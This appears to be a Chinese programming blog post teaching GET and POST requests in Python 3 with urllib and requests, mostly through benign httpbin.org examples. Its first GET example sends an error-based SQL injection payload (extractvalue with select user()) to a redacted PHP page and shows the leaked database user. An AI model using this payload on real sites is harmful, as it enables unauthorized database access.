使用python3对网页进行GET和POST请求

使用urllib模块实现:

1.GET请求

root@VM-0-7-ubuntu:~/python/zeropython3/15# cat get_1.py 

from urllib import request

a='root'
response = request.urlopen('http://xxxxxxxx:100/Jcyy-1.php?id=1%27%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20--%20-',timeout=1)
res = response.read().decode('utf-8')
print (res)

if a in res:
	print ('is injection')
else:
	print ('no injection')
-----------------------------------------------------
root@VM-0-7-ubuntu:~/python/zeropython3/15# python3 get_1.py 
XPATH syntax error: '~root@localhost~'</font>
is injection

2.POST请求

root@VM-0-7-ubuntu:~/python/zeropython3/15# cat post_3.py 
from urllib import parse
from urllib import request

data = bytes(parse.urlencode({'hello':'world'}),encoding = 'utf8')
#将字典重新编码并指定字符集才可使用。
response = request.urlopen('http://httpbin.org/post',data=data)
print (response.read().decode('utf-8'))
----------------------------------------------------------------------
root@VM-0-7-ubuntu:~/python/zeropython3/15# python3 post_3.py 
{
  "args": {}, 
  "data": "", 
  "files": {}, 
  "form": {
    "hello": "world"    #★
  }, 
  "headers": {
    "Accept-Encoding": "identity", 
    "Content-Length": "11", 
    "Content-Type": "application/x-www-form-urlencoded", 
    "Host": "httpbin.org", 
    "User-Agent": "Python-urllib/3.5"
  }, 
  "json": null, 
  "origin": "xxxxxxx, xxxxxxxx", 
  "url": "https://httpbin.org/post"
}

使用requests模块实现(更简便、第三方库):

1.GET请求

root@VM-0-7-ubuntu:~/python/zeropython3/15# cat reget_1.py 
import requests

url = 'http://httpbin.org/get'
data = {'key':'value','aaa':'bbb'}

response = requests.get(url,data)
#.get是使用get的方式来请求url,字典类型的data无需额外处理。
print (response.text)
---------------------------------------------------------------
root@VM-0-7-ubuntu:~/python/zeropython3/15# python3 reget_1.py 
{
  "args": {
    "aaa": "bbb", 
    "key": "value"
  }, 
  "headers": {
    "Accept": "*/*", 
    "Accept-Encoding": "gzip, deflate", 
    "Host": "httpbin.org", 
    "User-Agent": "python-requests/2.21.0"
  }, 
  "origin": "xxxxx, xxxxx", 
  "url": "https://httpbin.org/get?aaa=bbb&key=value"
}

2.POST请求

root@VM-0-7-ubuntu:~/python/zeropython3/15# cat repost_1.py 
import requests

url = 'http://httpbin.org/post'
data = {'key':'value','aaa':'bbb'}

response = requests.post(url,data)
print (response.json())
------------------------------------------------------------
root@VM-0-7-ubuntu:~/python/zeropython3/15# python3 repost_1.py 
{'data': '', 'url': 'https://httpbin.org/post', 'form': {'aaa': 'bbb', 'key': 'value'}, 'args': {}, 'files': {}, 'origin': 'xxxxxx, xxxxxx', 'headers': {'Host': 'httpbin.org', 'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'Content-Length': '17', 'User-Agent': 'python-requests/2.21.0', 'Content-Type': 'application/x-www-form-urlencoded'}, 'json': None}
发布了48 篇原创文章 · 获赞 22 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/lhh134/article/details/88689440